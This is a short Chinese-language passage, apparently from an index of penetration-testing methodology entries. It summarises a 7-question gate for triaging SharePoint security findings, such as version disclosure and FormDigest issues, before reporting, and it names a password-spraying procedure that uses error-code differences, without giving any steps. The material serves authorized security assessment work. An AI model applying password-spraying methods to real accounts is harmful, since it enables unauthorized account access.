Entra 同步身份。triage-validation— SharePoint 场会产生大量“看起来像发现项”的安全卫生噪声(例如 FormDigest 签发、版本泄露和扩展名阻止列表异常)。攻击链原语:报告前,使用 7 问门槛检查每个 SP 发现项——大多数仅涉及版本泄露的发现项,在“此场中是否真的可利用”这一关就会被排除,因为没有配套的 CVE PoC。password-spray-methodology— 适用于所有协议的通用密码喷洒流程 + 错误代码差异